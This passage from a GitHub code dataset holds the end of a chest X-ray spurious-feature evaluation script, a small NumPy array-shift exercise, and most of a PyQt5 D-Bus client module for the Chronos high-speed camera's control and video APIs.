\"chexpert\", \"Cardiomegaly\", \"hyperintensities\", \"degree4\"),\n        \"obstruction\": os.path.join(TGT_DATA_ROOT, \"chexpert\", \"Cardiomegaly\", \"obstruction\", \"degree4\")\n    }\n\n    spu_vindr_Aortic_enlargement_root_folders = {\n        \"tag\": os.path.join(TGT_DATA_ROOT, \"vindr\", \"Aortic enlargement\", \"tag\", \"degree4\"),\n        \"hyperintensities\": os.path.join(TGT_DATA_ROOT, \"vindr\", \"Aortic enlargement\", \"hyperintensities\", \"degree4\"),\n        \"obstruction\": os.path.join(TGT_DATA_ROOT, \"vindr\", \"Aortic enlargement\", \"obstruction\", \"degree4\")\n    }\n\n    transforms = tfs.Compose([tfs.Resize((exp_configs.img_size, exp_configs.img_size)), tfs.ToTensor()])\n    if \"chexpert\" in exp_configs.dataset:\n        normal_data_root = normal_chexpert_Cardiomegaly_root_folders[exp_configs.contaim_type]\n        spu_data_root = spu_chexpert_Cardiomegaly_root_folders[exp_configs.contaim_type]\n\n    if \"vindrcxr\" in exp_configs.dataset:\n        normal_data_root = normal_vindr_Aortic_enlargement_root_folders[exp_configs.contaim_type]\n        spu_data_root = spu_vindr_Aortic_enlargement_root_folders[exp_configs.contaim_type]\n\n    spu_img_dir = os.path.join(spu_data_root, \"test\")\n    normal_img_dir = os.path.join(normal_data_root, \"test\")\n    spu_csv_path = os.path.join(spu_data_root, \"test_df.csv\")\n    normal_csv_path = os.path.join(normal_data_root, \"test_df.csv\")\n    spu_df = pd.read_csv(spu_csv_path)\n    normal_df = pd.read_csv(normal_csv_path)\n    if \"chexpert\" in exp_configs.dataset:\n        spu_testset = CheXpert(spu_img_dir, spu_df, exp_configs.train_diseases, transforms=transforms)\n        normal_testset = CheXpert(normal_img_dir, normal_df, exp_configs.train_diseases, transforms=transforms)\n    if \"vindrcxr\" in exp_configs.dataset:\n        spu_testset = Vindr_CXR(image_dir=spu_img_dir, df=spu_df, train_diseases=exp_configs.train_diseases,\n                                transforms=transforms)\n        normal_testset = Vindr_CXR(image_dir=normal_img_dir, df=normal_df,\n                                   train_diseases=exp_configs.train_diseases,\n                                   transforms=transforms)\n\n    spu_test_loader = DataLoader(spu_testset, batch_size=exp_configs.batch_size, shuffle=False)\n    normal_test_loader = DataLoader(normal_testset, batch_size=exp_configs.batch_size, shuffle=False)\n    confounder = np.loadtxt(confounder_dict[exp_configs.contaim_type])\n    return normal_test_loader, spu_test_loader, confounder\n\n\n\n\n\n\ndef main(config):\n\n    solver = prep_solver(config)\n    normal_test_loader, spu_test_loader, confounder = prep_dataloaders(config)\n    threshlod_path = os.path.join(config.model_path, \"miccai23\", \"valid\", \"auc_result_dir\", \"best_threshold.txt\")\n    threshold = np.loadtxt(threshlod_path)\n    eval_root_dir = os.path.join(config.model_path, \"miccai23\", \"selected_flip_prediction_samples\")\n    flip_idx = np.loadtxt(os.path.join(eval_root_dir, \"flip_idx.txt\")).tolist()\n    all_neg_idx = np.loadtxt(os.path.join(eval_root_dir, \"neg_idx.txt\")).tolist()\n    all_pos_idx = np.loadtxt(os.path.join(eval_root_dir, \"all_pos_idx.txt\")).tolist()\n\n    idx_dict = {\n        \"flip_idx\": flip_idx,\n        \"all_neg_idx\": all_neg_idx,\n        \"all_pos_idx\":all_pos_idx\n    }\n\n    detector = spurious_detection(solver, spu_test_loader, normal_test_loader, confounder, threshold=threshold,\n                                    sample_indices_dict=idx_dict, out_dir=config.result_dir,\n                                    attr_method=config.attr_method, config=config)\n\n    detector.get_ncc(positive_only=False, num_samples=config.num_samples)\n    detector.get_sensitivity(num_samples=config.num_samples, positive_only=True)\n\n\nif __name__ == \"__main__\":\n    params = get_arguments()\n    main(params)\n\n","repo_name":"ss-sun/right-for-the-wrong-reason","sub_path":"spurious_detection_eval.py","file_name":"spurious_detection_eval.py","file_ext":"py","file_size_in_byte":19696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36820520947","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef conv_shift(arr, dx):\n    \"\"\"\n    Shift an array arr by dx \n    like a worse version of np.roll!\n    \"\"\"\n    dx = len(arr)//2 + int(dx) # need to set the impulse position to index from the middle of the array!\n    arr = np.array(arr)\n    shift = np.zeros(arr.shape)\n    shift[dx] = 1\n    longarr = np.concatenate((arr, arr))\n    return np.convolve(longarr, shift, 'same')[len(arr):]\n\n\nif __name__ == \"__main__\":\n\n    x = np.linspace(-5, 5, 201)\n    g = np.exp(- x**2/2)/(np.sqrt(2*np.pi))\n\n\n    plt.figure()\n    plt.title('Convolution shift example')\n    plt.plot(g, label='Input array')\n    plt.plot(conv_shift(g, len(g)//2), label='Shifted array')\n    plt.xlabel('x')\n    plt.ylabel('y')\n    plt.legend()\n    plt.show()","repo_name":"teolemay/PHYS_512","sub_path":"ProblemSet6/Q1_convolution_shift.py","file_name":"Q1_convolution_shift.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2711326326","text":"# -*- coding: future_fstrings -*-\n\n\"\"\"Interface for the control api d-bus service.\"\"\"\n\nfrom typing import Callable, Any\nimport sys, os\nfrom time import perf_counter\nfrom difflib import get_close_matches\n\nfrom PyQt5.QtCore import pyqtSlot, QObject\nfrom PyQt5.QtDBus import QDBusConnection, QDBusInterface, QDBusReply, QDBusPendingCallWatcher, QDBusPendingReply\n\nfrom debugger import *; dbg\nfrom animate import delay\nimport logging; log = logging.getLogger('Chronos.api')\n\n#Mock out the old API; use production for this one so we can switch over piecemeal.\nUSE_MOCK = False #os.environ.get('USE_CHRONOS_API_MOCK') in ('always', 'web')\nAPI_INTERCALL_DELAY = 0\nAPI_SLOW_WARN_MS = 100\nAPI_TIMEOUT_MS = 5000\n\n\n# Set up d-bus interface. Connect to mock system buses. Check everything's working.\nif not QDBusConnection.systemBus().isConnected():\n\tprint(\"Error: Can not connect to D-Bus. Is D-Bus itself running?\", file=sys.stderr)\n\traise Exception(\"D-Bus Setup Error\")\n\ncameraControlAPI = QDBusInterface(\n\tf\"ca.krontech.chronos.{'control_mock' if USE_MOCK else 'control'}\", #Service\n\tf\"/ca/krontech/chronos/{'control_mock' if USE_MOCK else 'control'}\", #Path\n\tf\"\", #Interface\n\tQDBusConnection.systemBus() )\ncameraVideoAPI = QDBusInterface(\n\tf\"ca.krontech.chronos.{'video_mock' if USE_MOCK else 'video'}\", #Service\n\tf\"/ca/krontech/chronos/{'video_mock' if USE_MOCK else 'video'}\", #Path\n\tf\"\", #Interface\n\tQDBusConnection.systemBus() )\n\ncameraControlAPI.setTimeout(API_TIMEOUT_MS) #Default is -1, which means 25000ms. 25 seconds is too long to go without some sort of feedback, and the only real long-running operation we have - saving - can take upwards of 5 minutes. Instead of setting the timeout to half an hour, we use events which are emitted as the task progresses. One frame (at 15fps) should be plenty of time for the API to respond, and also quick enough that we'll notice any slowness.\ncameraVideoAPI.setTimeout(API_TIMEOUT_MS)\n\nif not cameraControlAPI.isValid():\n\tprint(\"Error: Can not connect to control D-Bus API at %s. (%s: %s)\" % (\n\t\tcameraControlAPI.service(), \n\t\tcameraControlAPI.lastError().name(), \n\t\tcameraControlAPI.lastError().message(),\n\t), file=sys.stderr)\n\traise Exception(\"D-Bus Setup Error\")\n\nif not cameraVideoAPI.isValid():\n\tprint(\"Error: Can not connect to video D-Bus API at %s. (%s: %s)\" % (\n\t\tcameraVideoAPI.service(), \n\t\tcameraVideoAPI.lastError().name(), \n\t\tcameraVideoAPI.lastError().message(),\n\t), file=sys.stderr)\n\traise Exception(\"D-Bus Setup Error\")\n\n\n\nclass DBusException(Exception):\n\t\"\"\"Raised when something goes wrong with dbus. Message comes from dbus' msg.error().message().\"\"\"\n\tpass\n\nclass APIException(Exception):\n\t\"\"\"Raised when something goes wrong with dbus. Message comes from dbus' msg.error().message().\"\"\"\n\tpass\n\nclass ControlReply():\n\tdef __init__(self, value=None, errorName=None, message=None):\n\t\tself.value = value\n\t\tself.message = message\n\t\tself.errorName = errorName\n\t\n\tdef unwrap(self):\n\t\tif self.errorName:\n\t\t\traise APIException(self.errorName + ': ' + self.message)\n\t\telse:\n\t\t\treturn self.value\n\n\nclass video():\n\t\"\"\"Call the D-Bus video API, asynchronously.\n\t\t\n\t\tMethods:\n\t\t\t- call(function[, arg1[ ,arg2[, ...]]])\n\t\t\t\tCall the remote function.\n\t\t\t- get([value[, ...]])\n\t\t\t\tGet the named values from the API.\n\t\t\t- set({key: value[, ...]}])\n\t\t\t\tSet the named values in the API.\n\t\t\n\t\tAll methods return an A* promise-like, in that you use\n\t\t`.then(cb(value))` and `.catch(cb(error))` to get the results\n\t\tof calling the function.\n\t\"\"\"\n\t\n\t_videoEnqueuedCalls = []\n\t_videoCallInProgress = False\n\t_activeCall = None\n\t\n\t@staticmethod\n\tdef _enqueueCallback(pendingCall, coalesce: bool=True): #pendingCall is video.call\n\t\t\"\"\"Enqueue callback. Squash and elide calls to set for efficiency.\"\"\"\n\t\t\n\t\t#Step 1: Will this call actually do anything? Elide it if not.\n\t\tanticipitoryUpdates = False #Emit update signals before sending the update to the API. Results in faster UI updates but poorer framerate.\n\t\tif coalesce and pendingCall._args[0] == 'set':\n\t\t\t#Elide this call if it would not change known state.\n\t\t\thasNewInformation = False\n\t\t\tnewItems = pendingCall._args[1].items()\n\t\t\tfor key, value in newItems:\n\t\t\t\tif _camState[key] != value:\n\t\t\t\t\thasNewInformation = True\n\t\t\t\t\tif not anticipitoryUpdates:\n\t\t\t\t\t\tbreak\n\t\t\t\t\t#Update known cam state in advance of state transition.\n\t\t\t\t\tlog.info(f'Anticipating {key} → {value}.')\n\t\t\t\t\t_camState[key] = value\n\t\t\t\t\tfor callback in apiValues._callbacks[key]:\n\t\t\t\t\t\tcallback(value)\n\t\t\tif not hasNewInformation:\n\t\t\t\treturn\n\t\t\n\t\tif coalesce and pendingCall._args[0] == 'playback':\n\t\t\t#Always merge playback states.\n\t\t\t#Take the playback state already enqueued, {}, and overlay the current playback state. (so, {a:1, b:1} + {b:2} = {a:1, b:2})\n\t\t\tassert type(pendingCall._args[1]) is dict, f\"playback() takes a {{key:value}} dict, got {pendingCall._args[1]} of type {type(pendingCall._args[1])}.\"\n\t\t\texistingParams = [call._args[1] for call in video._videoEnqueuedCalls if call._args[0] == 'playback']\n\t\t\tif not existingParams:\n\t\t\t\tvideo._videoEnqueuedCalls += [pendingCall]\n\t\t\telse:\n\t\t\t\t#Update the parameters of the next playback call instead of enqueueing a new call.\n\t\t\t\tfor k, v in pendingCall._args[1].items():\n\t\t\t\t\texistingParams[-1][k] = v\n\t\t\t\t\n\t\t\treturn\n\t\t\n\t\t#Step 2: Is there already a set call pending? (Note that non-set calls act as set barriers; two sets won't get coalesced if a non-set call is between them.)\n\t\tif coalesce and [pendingCall] == video._videoEnqueuedCalls[:1]:\n\t\t\tvideo._videoEnqueuedCalls[-1] = pendingCall\n\t\telse:\n\t\t\tvideo._videoEnqueuedCalls += [pendingCall]\n\t\n\t@staticmethod\n\tdef _startNextCallback():\n\t\t\"\"\"Check for pending callbacks.\n\t\t\t\n\t\t\tIf none are found, simply stop.\n\t\t\t\n\t\t\tNote: Needs to be manually pumped.\n\t\t\"\"\"\n\t\t\n\t\tif video._videoEnqueuedCalls:\n\t\t\tvideo._videoCallInProgress = True\n\t\t\tvideo._videoEnqueuedCalls.pop(0)._startAsyncCall()\n\t\telse:\n\t\t\tvideo._videoCallInProgress = False\n\t\n\t\n\tclass call(QObject):\n\t\t\"\"\"Call the camera video DBus API. First arg is the function name. Returns a promise.\n\t\t\n\t\t\tSee http://doc.qt.io/qt-5/qdbusabstractinterface.html#call for details about calling.\n\t\t\tSee https://github.com/krontech/chronos-cli/tree/master/src/api for implementation details about the API being called.\n\t\t\tSee README.md at https://github.com/krontech/chronos-cli/tree/master/src/daemon for API documentation.\n\t\t\"\"\"\n\t\t\n\t\tdef __init__(self, *args, immediate=True):\n\t\t\tassert args, \"Missing call name.\"\n\t\t\t\n\t\t\tsuper().__init__()\n\t\t\t\n\t\t\tself._args = args\n\t\t\tself._thens = []\n\t\t\tself._catches = []\n\t\t\tself._done = False\n\t\t\tself._watcherHolder = None\n\t\t\tself.performance = {\n\t\t\t\t'enqueued': perf_counter(),\n\t\t\t\t'started': 0.,\n\t\t\t\t'finished': 0.,\n\t\t\t\t'handled': 0.,\n\t\t\t}\n\t\t\t\n\t\t\tlog.debug(f'enquing {self}')\n\t\t\tvideo._enqueueCallback(self)\n\t\t\t#log.print(f'current video queue: {video._videoEnqueuedCalls}')\n\t\t\tif not video._videoCallInProgress:\n\t\t\t\t#Don't start multiple callbacks at once, the most recent one will block.\n\t\t\t\tvideo._startNextCallback()\n\t\t\n\t\tdef __eq__(self, other):\n\t\t\t# If a video call sets the same keys as another\n\t\t\t# video call, then it is equal to itself and can\n\t\t\t# be deduplicated as all sets of the same values\n\t\t\t# have the same side effects. (ie, Slider no go\n\t\t\t# fast if me no drop redundant call.)\n\t\t\t#   –DDR 2019-05-14\n\t\t\treturn (\n\t\t\t\t'set' == self._args[0] == other._args[0]\n\t\t\t\tand self._args[1].keys() == other._args[1].keys()\n\t\t\t)\n\t\t\n\t\tdef __repr__(self):\n\t\t\treturn f'''video.call({', '.join([repr(x) for x in self._args])})'''\n\t\t\t\n\t\t\n\t\tdef _startAsyncCall(self):\n\t\t\tlog.debug(f'starting async call: {self._args[0]}({self._args[1:]})')\n\t\t\tself.performance['started'] = perf_counter()\n\t\t\tself._watcherHolder = QDBusPendingCallWatcher(\n\t\t\t\tcameraVideoAPI.asyncCallWithArgumentList(self._args[0], self._args[1:])\n\t\t\t)\n\t\t\tself._watcherHolder.finished.connect(self._asyncCallFinished)\n\t\t\tvideo._activeCall = self\n\t\t\t\n\t\t\n\t\tdef _asyncCallFinished(self, watcher):\n\t\t\tlog.debug(f'finished async call: {self}')\n\t\t\tself.performance['finished'] = perf_counter()\n\t\t\tself._done = True\n\t\t\t\n\t\t\treply = QDBusPendingReply(watcher)\n\t\t\ttry:\n\t\t\t\tif reply.isError():\n\t\t\t\t\tif self._catches:\n\t\t\t\t\t\tfor catch in self._catches:\n\t\t\t\t\t\t\tcatch(reply.error())\n\t\t\t\t\telse:\n\t\t\t\t\t\t#This won't do much, but (I'm assuming) most calls simply won't ever fail.\n\t\t\t\t\t\tif reply.error().name() == 'org.freedesktop.DBus.Error.NoReply':\n\t\t\t\t\t\t\traise DBusException(f\"{self} timed out ({API_TIMEOUT_MS}ms)\")\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\traise DBusException(\"%s: %s\" % (reply.error().name(), reply.error().message()))\n\t\t\t\telse:\n\t\t\t\t\tvalue = reply.value()\n\t\t\t\t\tfor then in self._thens:\n\t\t\t\t\t\tvalue = then(value)\n\t\t\texcept Exception as e:\n\t\t\t\traise e\n\t\t\tfinally:\n\t\t\t\t#Wait a little while before starting on the next callback.\n\t\t\t\t#This makes the UI run much smoother, and usually the lag\n\t\t\t\t#is covered by the UI updating another few times anyway.\n\t\t\t\t#Note that because each call still lags a little, this\n\t\t\t\t#causes a few dropped frames every time the API is called.\n\t\t\t\t#video._startNextCallback()\n\t\t\t\tdelay(self, API_INTERCALL_DELAY, video._startNextCallback)\n\t\t\t\t\n\t\t\t\tself.performance['handled'] = perf_counter()\n\t\t\t\tif self.performance['finished'] - self.performance['started'] > API_SLOW_WARN_MS / 1000:\n\t\t\t\t\tlog.warn(\n\t\t\t\t\t\tf'''slow call: {self} took {\n\t\t\t\t\t\t\t(self.performance['finished'] - self.performance['started'])*1000\n\t\t\t\t\t\t:0.0f}ms/{API_SLOW_WARN_MS}ms. (Total call time was {\n\t\t\t\t\t\t\t(self.performance['handled'] - self.performance['enqueued'])*1000\n\t\t\t\t\t\t:0.0f}ms.)'''\n\t\t\t\t\t)\n\t\t\n\t\tdef then(self, callback):\n\t\t\tassert callable(callback), \"video().then() only accepts a single, callable function.\"\n\t\t\tassert not self._done, \"Can't register new then() callback, call has already been resolved.\"\n\t\t\tself._thens += [callback]\n\t\t\treturn self\n\t\t\n\t\tdef catch(self, callback):\n\t\t\tassert callable(callback), \"video().then() only accepts a single, callable function.\"\n\t\t\tassert not self._done, \"Can't register new then() callback, call has already been resolved.\"\n\t\t\tself._catches += [callback]\n\t\t\treturn self\n\t\n\tdef callSync(*args, warnWhenCallIsSlow=True, **kwargs):\n\t\t\"\"\"Call the camera video DBus API. First arg is the function name.\n\t\t\t\n\t\t\tThis is the synchronous version of the call() method. It\n\t\t\tis much slower to call synchronously than asynchronously!\n\t\t\n\t\t\tSee http://doc.qt.io/qt-5/qdbusabstractinterface.html#call for details about calling.\n\t\t\tSee https://github.com/krontech/chronos-cli/tree/master/src/api for implementation details about the API being called.\n\t\t\tSee README.md at https://github.com/krontech/chronos-cli/tree/master/src/daemon for API documentation.\n\t\t\"\"\"\n\t\t\n\t\t#Unwrap D-Bus errors from message.\n\t\tlog.debug(f'control.callSync{tuple(args)}')\n\t\t\n\t\tstart = perf_counter()\n\t\tmsg = QDBusReply(cameraVideoAPI.call(*args, **kwargs))\n\t\tend = perf_counter()\n\t\tif warnWhenCallIsSlow and (end - start > API_SLOW_WARN_MS / 1000):\n\t\t\tlog.warn(f'slow call: control.callSync{tuple(args)} took {(end-start)*1000:.0f}ms/{API_SLOW_WARN_MS}ms.')\n\t\t\n\t\tif msg.isValid():\n\t\t\treturn msg.value()\n\t\telse:\n\t\t\tif msg.error().name() == 'org.freedesktop.DBus.Error.NoReply':\n\t\t\t\traise DBusException(f\"control.callSync{tuple(args)} timed out ({API_TIMEOUT_MS}ms)\")\n\t\t\telse:\n\t\t\t\traise DBusException(\"%s: %s\" % (msg.error().name(), msg.error().message()))\n\t\n\t\n\tdef restart(*_):\n\t\t\"\"\"Helper method to reboot the video pipeline.\n\t\t\t\n\t\t\tSometimes calls do not apply until you restart the daemon, although they should.\n\t\t\tLiterally every use of this function is a bug.\n\t\t\"\"\"\n\t\t\n\t\tos.system('killall -HUP cam-pipeline')\n\n\nclass control():\n\t\"\"\"Call the D-Bus control API, asychronously.\n\t\t\n\t\tMethods:\n\t\t\t- call(function[, arg1[ ,arg2[, ...]]])\n\t\t\t\tCall the remote function.\n\t\t\t- get([value[, ...]])\n\t\t\t\tGet the named values from the API.\n\t\t\t- set({key: value[, ...]}])\n\t\t\t\tSet the named values in the API.\n\t\t\n\t\tAll methods return an A* promise-like, in that you use\n\t\t`.then(cb(value))` and `.catch(cb(error))` to get the results\n\t\tof calling the function.\n\t\"\"\"\n\t\n\t_controlEnqueuedCalls = []\n\t_controlCallInProgress = False\n\t_activeCall = None\n\t\n\t@staticmethod\n\tdef _enqueueCallback(pendingCall, coalesce: bool=True): #pendingCall is control.call\n\t\t\"\"\"Enqueue callback. Squash and elide calls to set for efficiency.\"\"\"\n\t\t\n\t\t#Step 1: Will this call actually do anything? Elide it if not.\n\t\tanticipitoryUpdates = False #Emit update signals before sending the update to the API. Results in faster UI updates but poorer framerate.\n\t\tif coalesce and pendingCall._args[0] == 'set':\n\t\t\t#Elide this call if it would not change known state.\n\t\t\thasNewInformation = False\n\t\t\tnewItems = pendingCall._args[1].items()\n\t\t\tfor key, value in newItems:\n\t\t\t\tif _camState[key] != value:\n\t\t\t\t\thasNewInformation = True\n\t\t\t\t\tif not anticipitoryUpdates:\n\t\t\t\t\t\tbreak\n\t\t\t\t\t#Update known cam state in advance of state transition.\n\t\t\t\t\tlog.info(f'Anticipating {key} → {value}.')\n\t\t\t\t\t_camState[key] = value\n\t\t\t\t\tfor callback in apiValues._callbacks[key]:\n\t\t\t\t\t\tcallback(value)\n\t\t\tif not hasNewInformation:\n\t\t\t\treturn\n\t\t\n\t\t#Step 2: Is there already a set call pending? (Note that non-set calls act as set barriers; two sets won't get coalesced if a non-set call is between them.)\n\t\tif coalesce and [pendingCall] == control._controlEnqueuedCalls[:1]:\n\t\t\tcontrol._controlEnqueuedCalls[-1] = pendingCall\n\t\telse:\n\t\t\tcontrol._controlEnqueuedCalls += [pendingCall]\n\t\n\t@staticmethod\n\tdef _startNextCallback():\n\t\t\"\"\"Check for pending callbacks.\n\t\t\t\n\t\t\tIf none are found, simply stop.\n\t\t\t\n\t\t\tNote: Needs to be manually pumped.\n\t\t\"\"\"\n\t\t\n\t\tif control._controlEnqueuedCalls:\n\t\t\tcontrol._controlCallInProgress = True\n\t\t\tcontrol._controlEnqueuedCalls.pop(0)._startAsyncCall()\n\t\telse:\n\t\t\tcontrol._controlCallInProgress = False\n\t\n\t\n\tclass call(QObject):\n\t\t\"\"\"Call the camera control DBus API. First arg is the function name. Returns a promise.\n\t\t\n\t\t\tSee http://doc.qt.io/qt-5/qdbusabstractinterface.html#call for details about calling.\n\t\t\tSee https://github.com/krontech/chronos-cli/tree/master/src/api for implementation details about the API being called.\n\t\t\tSee README.md at https://github.com/krontech/chronos-cli/tree/master/src/daemon for API documentation.\n\t\t\"\"\"\n\t\t\n\t\tdef __init__(self, *args, immediate=True):\n\t\t\tassert args, \"Missing call name.\"\n\t\t\t\n\t\t\tsuper().__init__()\n\t\t\t\n\t\t\tself._args = args\n\t\t\tself._thens = []\n\t\t\tself._catches = []\n\t\t\tself._done = False\n\t\t\tself._watcherHolder = None\n\t\t\tself.performance = {\n\t\t\t\t'enqueued': perf_counter(),\n\t\t\t\t'started': 0.,\n\t\t\t\t'finished': 0.,\n\t\t\t\t'handled': 0.,\n\t\t\t}\n\t\t\t\n\t\t\tlog.debug(f'enquing {self}')\n\t\t\tcontrol._enqueueCallback(self)\n\t\t\t#log.print(f'current control queue: {control._controlEnqueuedCalls}')\n\t\t\tif not control._controlCallInProgress:\n\t\t\t\t#Don't start multiple callbacks at once, the most recent one will block.\n\t\t\t\tcontrol._startNextCallback()\n\t\t\n\t\tdef __eq__(self, other):\n\t\t\t# If a control call sets the same keys as another\n\t\t\t# control call, then it is equal to itself and can\n\t\t\t# be deduplicated as all sets of the same values\n\t\t\t# have the same side effects. (ie, Slider no go\n\t\t\t# fast if me no drop redundant call.)\n\t\t\t#   –DDR 2019-05-14\n\t\t\treturn (\n\t\t\t\t'set' == self._args[0] == other._args[0]\n\t\t\t\tand self._args[1].keys() == other._args[1].keys()\n\t\t\t)\n\t\t\n\t\tdef __repr__(self):\n\t\t\treturn f'''control.call({', '.join([repr(x) for x in self._args])})'''\n\t\t\t\n\t\t\n\t\tdef _startAsyncCall(self):\n\t\t\tlog.debug(f'starting async call: {self._args[0]}({self._args[1:]})')\n\t\t\tself.performance['started'] = perf_counter()\n\t\t\tself._watcherHolder = QDBusPendingCallWatcher(\n\t\t\t\tcameraControlAPI.asyncCallWithArgumentList(self._args[0], self._args[1:])\n\t\t\t)\n\t\t\tself._watcherHolder.finished.connect(self._asyncCallFinished)\n\t\t\tcontrol._activeCall = self\n\t\t\t\n\t\t\n\t\tdef _asyncCallFinished(self, watcher):\n\t\t\tlog.debug(f'finished async call: {self}')\n\t\t\tself.performance['finished'] = perf_counter()\n\t\t\tself._done = True\n\t\t\t\n\t\t\treply = QDBusPendingReply(watcher)\n\t\t\ttry:\n\t\t\t\tif reply.isError():\n\t\t\t\t\tif self._catches:\n\t\t\t\t\t\terror = reply.error()\n\t\t\t\t\t\tfor catch in self._catches:\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\terror = catch(error)\n\t\t\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\t\t\terror = e\n\t\t\t\t\telse:\n\t\t\t\t\t\t#This won't do much, but (I'm assuming) most calls simply won't ever fail.\n\t\t\t\t\t\tif reply.error().name() == 'org.freedesktop.DBus.Error.NoReply':\n\t\t\t\t\t\t\traise DBusException(f\"{self} timed out ({API_TIMEOUT_MS}ms)\")\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\traise DBusException(\"%s: %s\" % (reply.error().name(), reply.error().message()))\n\t\t\t\telse:\n\t\t\t\t\tvalue = reply.value()\n\t\t\t\t\tfor then in self._thens:\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tvalue = then(value)\n\t\t\t\t\t\texcept Exception as error:\n\t\t\t\t\t\t\tif self._catches:\n\t\t\t\t\t\t\t\tfor catch in self._catches:\n\t\t\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\t\t\terror = catch(error)\n\t\t\t\t\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\t\t\t\t\terror = e\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\traise e\n\t\t\texcept Exception as e:\n\t\t\t\traise e\n\t\t\tfinally:\n\t\t\t\t#Wait a little while before starting on the next callback.\n\t\t\t\t#This makes the UI run much smoother, and usually the lag\n\t\t\t\t#is covered by the UI updating another few times anyway.\n\t\t\t\t#Note that because each call still lags a little, this\n\t\t\t\t#causes a few dropped frames every time the API is called.\n\t\t\t\tdelay(self, API_INTERCALL_DELAY, control._startNextCallback)\n\t\t\t\t\n\t\t\t\tself.performance['handled'] = perf_counter()\n\t\t\t\tif self.performance['finished'] - self.performance['started'] > API_SLOW_WARN_MS / 1000:\n\t\t\t\t\tlog.warn(\n\t\t\t\t\t\tf'''slow call: {self} took {\n\t\t\t\t\t\t\t(self.performance['finished'] - self.performance['started'])*1000\n\t\t\t\t\t\t:0.0f}ms/{API_SLOW_WARN_MS}ms. (Total call time was {\n\t\t\t\t\t\t\t(self.performance['handled'] - self.performance['enqueued'])*1000\n\t\t\t\t\t\t:0.0f}ms.)'''\n\t\t\t\t\t)\n\t\t\n\t\tdef then(self, callback):\n\t\t\tassert callable(callback), \"control().then() only accepts a single, callable function.\"\n\t\t\tassert not self._done, \"Can't register new then() callback, call has already been resolved.\"\n\t\t\tself._thens += [callback]\n\t\t\treturn self\n\t\t\n\t\tdef catch(self, callback):\n\t\t\tassert callable(callback), \"control().then() only accepts a single, callable function.\"\n\t\t\tassert not self._done, \"Can't register new then() callback, call has already been resolved.\"\n\t\t\tself._catches += [callback]\n\t\t\treturn self\n\t\n\tdef callSync(*args, warnWhenCallIsSlow=True, **kwargs):\n\t\t\"\"\"Call the camera control DBus API. First arg is the function name.\n\t\t\t\n\t\t\tThis is the synchronous version of the call() method. It\n\t\t\tis much slower to call synchronously than asynchronously!\n\t\t\n\t\t\tSee http://doc.qt.io/qt-5/qdbusabstractinterface.html#call for details about calling.\n\t\t\tSee https://github.com/krontech/chronos-cli/tree/master/src/api for implementation details about the API being called.\n\t\t\tSee README.md at https://github.com/krontech/chronos-cli/tree/master/src/daemon for API documentation.\n\t\t\"\"\"\n\t\t\n\t\t#Unwrap D-Bus errors from message.\n\t\tlog.debug(f'control.callSync{tuple(args)}')\n\t\t\n\t\tstart = perf_counter()\n\t\tmsg = QDBusReply(cameraControlAPI.call(*args, **kwargs))\n\t\tend = perf_counter()\n\t\tif warnWhenCallIsSlow and (end - start > API_SLOW_WARN_MS / 1000):\n\t\t\tlog.warn(f'slow call: control.callSync{tuple(args)} took {(end-start)*1000:.0f}ms/{API_SLOW_WARN_MS}ms.')\n\t\t\t\n\t\tif msg.isValid():\n\t\t\treturn msg.value()\n\t\telse:\n\t\t\tif msg.error().name() == 'org.freedesktop.DBus.Error.NoReply':\n\t\t\t\traise DBusException(f\"control.callSync{tuple(args)} timed out ({API_TIMEOUT_MS}ms)\")\n\t\t\telse:\n\t\t\t\traise DBusException(\"%s: %s\" % (msg.error().name(), msg.error().message()))\n\n\t\n\n\ndef getSync(keyOrKeys):\n\t\"\"\"Call the camera control DBus get method.\n\t\n\t\tConvenience method for `control('get', [value])[0]`.\n\t\t\n\t\tAccepts key or [key, …], where keys are strings.\n\t\t\n\t\tReturns value or {key:value, …}, respectively.\n\t\t\n\t\tSee control's `availableKeys` for a list of valid inputs.\n\t\"\"\"\n\t\n\tvalueList = control.callSync('get',\n\t\t[keyOrKeys] if isinstance(keyOrKeys, str) else keyOrKeys )\n\treturn valueList[keyOrKeys] if isinstance(keyOrKeys, str) else valueList\n\ndef get(keyOrKeys):\n\t\"\"\"Call the camera control DBus get method.\n\t\n\t\tConvenience method for `control('get', [value])[0]`.\n\t\t\n\t\tAccepts key or [key, …], where keys are strings.\n\t\t\n\t\tReturns value or {key:value, …}, respectively.\n\t\t\n\t\tSee control's `availableKeys` for a list of valid inputs.\n\t\"\"\"\n\t\n\treturn control.call(\n\t\t'get', [keyOrKeys] if isinstance(keyOrKeys, str) else keyOrKeys\n\t).then(lambda valueList:\n\t\tvalueList[keyOrKeys] if isinstance(keyOrKeys, str) else valueList\n\t)\n\ndef setSync(*args):\n\t\"\"\"Call the camera control DBus set method.\n\t\t\n\t\tAccepts {str: value, ...} or a key and a value.\n\t\tReturns either a map of set values or the set\n\t\t\tvalue, if the second form was used.\n\t\"\"\"\n\t\n\tif len(args) == 1:\n\t\treturn control.callSync('set', *args)\n\telif len(args) == 2:\n\t\treturn control.callSync('set', {args[0]:args[1]})[args[0]]\n\telse:\n\t\traise valueError('bad args')\n\n\n\ndef set(*args):\n\t\"\"\"Call the camera control DBus set method.\n\t\t\n\t\tAccepts {str: value, ...} or a key and a value.\n\t\tReturns either a map of set values or the set\n\t\t\tvalue, if the second form was used.\n\t\"\"\"\n\t\n\tlog.debug(f'simple set call: {args}')\n\tif len(args) == 1:\n\t\treturn control.call('set', *args)\n\telif len(args) == 2:\n\t\treturn control.call(\n\t\t\t'set', {args[0]:args[1]}\n\t\t).then(lambda valueDict: \n\t\t\tvalueDict[args[0]]\n\t\t)\n\telse:\n\t\traise valueError('bad args')\n\n\n\n\n\n# State cache for observe(), so it doesn't have to query the status of a variable on each subscription.\n# Since this often crashes during development, the following line can be run to try getting each variable independently.\n#     for key in [k for k in control.callSync('availableKeys') if k not in 